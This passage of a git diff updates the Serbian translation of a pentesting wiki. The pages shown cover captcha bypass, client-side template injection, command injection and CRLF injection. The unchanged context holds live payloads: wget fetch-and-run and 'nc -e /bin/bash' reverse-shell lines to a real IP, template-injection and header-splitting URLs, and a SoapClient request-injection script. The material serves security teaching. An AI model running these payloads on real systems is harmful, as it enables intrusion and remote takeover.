adrese kako biste izbegli otkrivanje i blokiranje od strane servera. -- **Manipulacija User-Agent i Header-a**: Menjajte User-Agent i druge zaglavlja zahteva kako biste oponašali različite pretraživače ili uređaje. +- **Manipulacija User-Agent i Header-ima**: Menjajte User-Agent i druge zaglavlja zahteva kako biste oponašali različite pretraživače ili uređaje. - **Analiza Audio Captcha**: Ako je dostupna opcija audio captcha, koristite usluge pretvaranja govora u tekst kako biste interpretirali i rešavali captcha. -## Online Usluge za rešavanje captche +## Online Usluge za rešavanje captchi ### [CapSolver](https://www.capsolver.com/?utm_source=google&utm_medium=ads&utm_campaign=scraping&utm_term=hacktricks&utm_content=captchabypass) -[**CapSolver**](https://www.capsolver.com/?utm_source=google&utm_medium=ads&utm_campaign=scraping&utm_term=hacktricks&utm_content=captchabypass) je usluga pokretana veštačkom inteligencijom koja se specijalizovala za automatsko rešavanje različitih tipova captche, olakšavajući prikupljanje podataka pomažući programerima da lako prevaziđu izazove captche tokom Web Scraping-a. Podržava captche kao što su **reCAPTCHA V2, reCAPTCHA V3, DataDome, AWS Captcha, Geetest, i Cloudflare turnstile među ostalima**. Za programere, Capsolver nudi opcije integracije API-ja detaljno opisane u [**dokumentaciji**](https://docs.capsolver.com/?utm_source=github&utm_medium=banner_github&utm_campaign=fcsrv)**,** olakšavajući integraciju rešavanja captche u aplikacije. Takođe pružaju ekstenzije za pretraživače za [Chrome](https://chromewebstore.google.com/detail/captcha-solver-auto-captc/pgojnojmmhpofjgdmaebadhbocahppod) i [Firefox](https://addons.mozilla.org/es/firefox/addon/capsolver-captcha-solver/), olakšavajući korišćenje njihove usluge direktno unutar pretraživača. Različiti paketi cena su dostupni kako bi se prilagodili različitim potrebama, obezbeđujući fleksibilnost za korisnike. +[**CapSolver**](https://www.capsolver.com/?utm_source=google&utm_medium=ads&utm_campaign=scraping&utm_term=hacktricks&utm_content=captchabypass) je usluga pokretana veštačkom inteligencijom koja se specijalizovala za automatsko rešavanje različitih tipova captchi, olakšavajući prikupljanje podataka pomažući programerima da lako prevaziđu izazove captchi tokom Web Scraping-a. Podržava captche kao što su **reCAPTCHA V2, reCAPTCHA V3, DataDome, AWS Captcha, Geetest, i Cloudflare turnstile među ostalima**. Za programere, Capsolver nudi opcije integracije API-ja detaljno opisane u [**dokumentaciji**](https://docs.capsolver.com/?utm_source=github&utm_medium=banner_github&utm_campaign=fcsrv)**,** olakšavajući integraciju rešavanja captchi u aplikacije. Takođe pružaju ekstenzije za pretraživače za [Chrome](https://chromewebstore.google.com/detail/captcha-solver-auto-captc/pgojnojmmhpofjgdmaebadhbocahppod) i [Firefox](https://addons.mozilla.org/es/firefox/addon/capsolver-captcha-solver/), olakšavajući korišćenje njihove usluge direktno unutar pretraživača. Različiti paketi cena su dostupni kako bi se prilagodili različitim potrebama, obezbeđujući fleksibilnost za korisnike. -{% embed url="https://www.capsolver.com/?utm_campaign=scraping&utm_content=captchabypass&utm_medium=ads&utm_source=google&utm_term=hacktricks" %} +{{#ref}} +https://www.capsolver.com/?utm_campaign=scraping&utm_content=captchabypass&utm_medium=ads&utm_source=google&utm_term=hacktricks +{{#endref}} {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/client-side-template-injection-csti.md b/src/pentesting-web/client-side-template-injection-csti.md index cd57b4d76..09b82c435 100644 --- a/src/pentesting-web/client-side-template-injection-csti.md +++ b/src/pentesting-web/client-side-template-injection-csti.md @@ -2,7 +2,6 @@ {{#include ../banners/hacktricks-training.md}} - ## Summary To je kao [**Server Side Template Injection**](ssti-server-side-template-injection/) ali u **klijentu**. **SSTI** može omogućiti **izvršavanje koda** na udaljenom serveru, dok **CSTI** može omogućiti **izvršavanje proizvoljnog JavaScript** koda u pretraživaču žrtve. @@ -24,8 +23,7 @@ U scenarijima gde se korisnički unos dinamički ubacuje u HTML telo označeno s ``` Možete pronaći vrlo **osnovni online primer** ranjivosti u **AngularJS** na [http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/) i u [**Burp Suite Academy**](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression) -> [!CAUTION] -> [**Angular 1.6 je uklonio sandbox**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html) tako da od ove verzije payload poput `{{constructor.constructor('alert(1)')()}}` ili `` treba da radi. +> [!CAUTION] > [**Angular 1.6 je uklonio sandbox**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html) tako da od ove verzije payload poput `{{constructor.constructor('alert(1)')()}}` ili `` treba da radi. ## VueJS @@ -73,7 +71,8 @@ javascript:alert(1)%252f%252f..%252fcss-images ## **Lista za detekciju brute-force-a** -{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %} - +{{#ref}} +https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt +{{#endref}} {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/command-injection.md b/src/pentesting-web/command-injection.md index bcfcc874f..4c9435330 100644 --- a/src/pentesting-web/command-injection.md +++ b/src/pentesting-web/command-injection.md @@ -2,7 +2,6 @@ {{#include ../banners/hacktricks-training.md}} - ## Šta je injekcija komandi? **Injekcija komandi** omogućava izvršavanje proizvoljnih komandi operativnog sistema od strane napadača na serveru koji hostuje aplikaciju. Kao rezultat, aplikacija i svi njeni podaci mogu biti potpuno kompromitovani. Izvršavanje ovih komandi obično omogućava napadaču da dobije neovlašćen pristup ili kontrolu nad okruženjem aplikacije i osnovnim sistemom. @@ -30,15 +29,15 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful > /var/www/html/out.txt #Try to redirect the output to a file < /etc/passwd #Try to send some input to the command ``` -### **Limitation** Bypasses +### **Obilaženje** Ograničenja -Ako pokušavate da izvršite **arbitrarne komande unutar linux mašine** biće vam zanimljivo da pročitate o ovim **Bypasses:** +Ako pokušavate da izvršite **arbitrarne komande unutar linux mašine** biće vam zanimljivo da pročitate o ovim **Obilaženjima:** {{#ref}} ../linux-hardening/bypass-bash-restrictions/ {{#endref}} -### **Primjeri** +### **Primeri** ``` vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80 @@ -76,7 +75,7 @@ Evo 25 najvažnijih parametara koji bi mogli biti podložni injekciji koda i sli ``` ### Ekstrakcija podataka zasnovana na vremenu -Ekstrakcija podataka: znak po znak +Ekstrakcija podataka: karakter po karakter ``` swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi real 0m5.007s @@ -120,7 +119,9 @@ powershell C:**2\n??e*d.*? # notepad ## Lista za detekciju Brute-Force -{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt" %} +{{#ref}} +https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt +{{#endref}} ## Reference diff --git a/src/pentesting-web/crlf-0d-0a.md b/src/pentesting-web/crlf-0d-0a.md index 5d666a697..91fdebc0d 100644 --- a/src/pentesting-web/crlf-0d-0a.md +++ b/src/pentesting-web/crlf-0d-0a.md @@ -2,11 +2,9 @@ {{#include ../banners/hacktricks-training.md}} - - ### CRLF -Povratak karlice (CR) i novi red (LF), zajedno poznati kao CRLF, su posebne sekvence karaktera koje se koriste u HTTP protokolu za označavanje kraja reda ili početka novog. Web serveri i pregledači koriste CRLF da razlikuju između HTTP zaglavlja i tela odgovora. Ovi karakteri se univerzalno koriste u HTTP/1.1 komunikacijama širom različitih tipova web servera, kao što su Apache i Microsoft IIS. +Carriage Return (CR) i Line Feed (LF), kolektivno poznati kao CRLF, su posebne sekvence karaktera koje se koriste u HTTP protokolu za označavanje kraja reda ili početka novog. Web serveri i pregledači koriste CRLF da razlikuju između HTTP zaglavlja i tela odgovora. Ovi karakteri se univerzalno koriste u HTTP/1.1 komunikacijama širom različitih tipova web servera, kao što su Apache i Microsoft IIS. ### CRLF Injection Vulnerability @@ -16,7 +14,7 @@ CRLF injekcija uključuje umetanje CR i LF karaktera u korisnički uneti podatak [Example from here](https://www.invicti.com/blog/web-security/crlf-http-header/) -Razmotrite log fajl u administratorskom panelu koji prati format: `IP - Vreme - Posetena Staza`. Tipičan unos može izgledati ovako: +Razmotrite log fajl u admin panelu koji prati format: `IP - Vreme - Posetena Staza`. Tipičan unos može izgledati ovako: ``` 123.123.123.123 - 08:15 - /index.php?page=home ``` @@ -31,7 +29,7 @@ IP - Time - Visited Path 123.123.123.123 - 08:15 - /index.php?page=home& 127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit ``` -Napadač tako prikriva svoje zlonamerne aktivnosti tako što izgleda kao da je localhost (entitet koji se obično smatra pouzdanim unutar server okruženja) izvršio radnje. Server interpretira deo upita koji počinje sa `%0d%0a` kao jedan parametar, dok se parametar `restrictedaction` analizira kao drugi, odvojen unos. Manipulisani upit efikasno oponaša legitimnu administrativnu komandu: `/index.php?page=home&restrictedaction=edit` +Napadač tako prikriva svoje zlonamerne aktivnosti tako što izgleda kao da je localhost (entitet koji se obično smatra pouzdanim unutar server okruženja) izvršio radnje. Server interpretira deo upita koji počinje sa `%0d%0a` kao jedan parametar, dok se parametar `restrictedaction` obrađuje kao drugi, odvojen unos. Manipulisani upit efikasno oponaša legitimnu administrativnu komandu: `/index.php?page=home&restrictedaction=edit` ### HTTP Response Splitting @@ -45,7 +43,7 @@ HTTP Response Splitting je sigurnosna ranjivost koja nastaje kada napadač iskor 2. Aplikacija preuzima vrednost za `UserInput` iz parametra upita, recimo "user_input". U scenarijima koji nemaju pravilnu validaciju i kodiranje unosa, napadač može kreirati payload koji uključuje CRLF sekvencu, praćenu zlonamernim sadržajem. 3. Napadač kreira URL sa posebno kreiranim 'user_input': `?user_input=Value%0d%0a%0d%0a` - U ovom URL-u, `%0d%0a%0d%0a` je URL-enkodirani oblik CRLFCRLF. To obmanjuje server da umetne CRLF sekvencu, čineći da server tretira naredni deo kao telo odgovora. -4. Server odražava napadačev unos u zaglavlju odgovora, što dovodi do nenamernog strukture odgovora gde zlonamerni skript interpretira pregledač kao deo tela odgovora. +4. Server odražava napadačev unos u zaglavlju odgovora, što dovodi do nenamernog strukturalnog odgovora gde zlonamerni skript interpretira pregledač kao deo tela odgovora. #### Primer HTTP Response Splitting koji dovodi do preusmeravanja @@ -59,7 +57,7 @@ I server odgovaraju sa zaglavljem: ``` Location: http://myweb.com ``` -**Drugi primer: (sa** [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)**)** +**Drugi primer: (iz** [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)**)** ``` http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E ``` @@ -70,21 +68,21 @@ Možete poslati payload **unutar URL putanje** da kontrolišete **odgovor** sa s http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E ``` -Pogledajte više primera u: - -{% embed url="https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md" %} +{{#ref}} +https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md +{{#endref}} ### HTTP Header Injection HTTP Header Injection, često iskorišćen kroz CRLF (Carriage Return and Line Feed) injekciju, omogućava napadačima da umetnu HTTP zaglavlja. Ovo može oslabiti bezbednosne mehanizme kao što su XSS (Cross-Site Scripting) filteri ili SOP (Same-Origin Policy), potencijalno dovodeći do neovlašćenog pristupa osetljivim podacima, kao što su CSRF tokeni, ili manipulacije korisničkim sesijama kroz postavljanje kolačića. -#### Iskorišćavanje CORS-a putem HTTP Header Injection +#### Exploiting CORS via HTTP Header Injection Napadač može umetnuti HTTP zaglavlja kako bi omogućio CORS (Cross-Origin Resource Sharing), zaobilazeći ograničenja koja postavlja SOP. Ova povreda omogućava skriptama iz zlonamernih izvora da komuniciraju sa resursima iz drugog izvora, potencijalno pristupajući zaštićenim podacima. -#### SSRF i HTTP Request Injection putem CRLF +#### SSRF and HTTP Request Injection via CRLF -CRLF injekcija se može iskoristiti za kreiranje i umetanje potpuno novog HTTP zahteva. Značajan primer ovoga je ranjivost u PHP-ovoj `SoapClient` klasi, posebno unutar `user_agent` parametra. Manipulacijom ovog parametra, napadač može umetnuti dodatna zaglavlja i sadržaj tela, ili čak umetnuti potpuno novi HTTP zahtev. Ispod je PHP primer koji demonstrira ovo iskorišćavanje: +CRLF injekcija se može iskoristiti za kreiranje i umetanje potpuno novog HTTP zahteva. Značajan primer ovoga je ranjivost u PHP-ovoj `SoapClient` klasi, posebno unutar `user_agent` parametra. Manipulacijom ovog parametra, napadač može umetnuti dodatna zaglavlja i sadržaj tela, ili čak potpuno injektovati novi HTTP zahtev. Ispod je PHP primer koji demonstrira ovu eksploataciju: ```php $target = 'http://127.0.0.1:9090/test'; $post_string = 'variable=post value'; @@ -113,7 +111,7 @@ $client->__soapCall("test", []); Za više informacija o ovoj tehnici i potencijalnim problemima [**proverite izvor**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning). -Možete ubrizgati bitne zaglavlja kako biste osigurali da **back-end zadrži vezu otvorenom** nakon odgovora na inicijalni zahtev: +Možete injektovati bitne header-e kako biste osigurali da **back-end zadrži vezu otvorenom** nakon odgovora na inicijalni zahtev: ``` GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1 ``` @@ -137,11 +135,11 @@ Memcache je **key-value store koji koristi protokol u čistom tekstu**. Više in ../network-services-pentesting/11211-memcache/ {{#endref}} -**Za sve informacije pročitajte**[ **originalni tekst**](https://www.sonarsource.com/blog/zimbra-mail-stealing-clear-text-credentials-via-memcache-injection/) +**Za sve informacije pročitajte**[ **originalni izveštaj**](https://www.sonarsource.com/blog/zimbra-mail-stealing-clear-text-credentials-via-memcache-injection/) Ako platforma uzima **podatke iz HTTP zahteva i koristi ih bez sanitizacije** za obavljanje **zahteva** ka **memcache** serveru, napadač bi mogao da zloupotrebi ovo ponašanje da **ubaci nove memcache komande**. -Na primer, u prvobitno otkrivenoj ranjivosti, keš ključevi su korišćeni da vrate IP i port na koji bi korisnik trebao da se poveže, a napadači su mogli da **ubace memcache komande** koje bi **otrovale** **keš da pošalje detalje žrtava** (korisnička imena i lozinke uključene) na servere napadača: +Na primer, u prvobitno otkrivenoj ranjivosti, keš ključevi su korišćeni da vrate IP i port na koji bi korisnik trebao da se poveže, a napadači su mogli da **ubace memcache komande** koje bi **otrovale** **keš da pošalje detalje žrtava** (uključujući korisnička imena i lozinke) na servere napadača:
https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/ba72cd16-2ca0-447b-aa70-5cde302a0b88/body-578d9f9f-1977-4e34-841c-ad870492328f_10.png?w=1322&h=178&auto=format&fit=crop
@@ -154,7 +152,7 @@ Pored toga, istraživači su takođe otkrili da mogu da desinkronizuju memcache Da bi se smanjili rizici od CRLF (Carriage Return and Line Feed) ili HTTP zaglavlja injekcija u web aplikacijama, preporučuju se sledeće strategije: 1. **Izbegavajte direktan unos korisnika u zaglavljima odgovora:** Najsigurniji pristup je da se ne uključuje unos koji je obezbedio korisnik direktno u zaglavlja odgovora. -2. **Kodirajte posebne karaktere:** Ako izbegavanje direktnog unosa korisnika nije izvodljivo, obavezno koristite funkciju posvećenu kodiranju posebnih karaktera kao što su CR (Carriage Return) i LF (Line Feed). Ova praksa sprečava mogućnost CRLF injekcije. +2. **Kodirajte specijalne karaktere:** Ako izbegavanje direktnog unosa korisnika nije izvodljivo, obavezno koristite funkciju posvećenu kodiranju specijalnih karaktera kao što su CR (Carriage Return) i LF (Line Feed). Ova praksa sprečava mogućnost CRLF injekcije. 3. **Ažurirajte programski jezik:** Redovno ažurirajte programski jezik koji se koristi u vašim web aplikacijama na najnoviju verziju. Odaberite verziju koja inherentno zabranjuje injekciju CR i LF karaktera unutar funkcija koje su zadužene za postavljanje HTTP zaglavlja. ### CHEATSHEET @@ -197,6 +195,4 @@ Da bi se smanjili rizici od CRLF (Carriage Return and Line Feed) ili HTTP zaglav - [**https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning) - [**https://www.netsparker.com/blog/web-security/crlf-http-header/**](https://www.netsparker.com/blog/web-security/crlf-http-header/) - - {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/dangling-markup-html-scriptless-injection/README.md b/src/pentesting-web/dangling-markup-html-scriptless-injection/README.md index 3fd8924ee..0f6d35ea3 100644 --- a/src/pentesting-web/dangling-markup-html-scriptless-injection/README.md +++ b/src/pentesting-web/dangling-markup-html-scriptless-injection/README.md @@ -73,7 +73,7 @@ Možete učiniti isto injektovanjem forme i `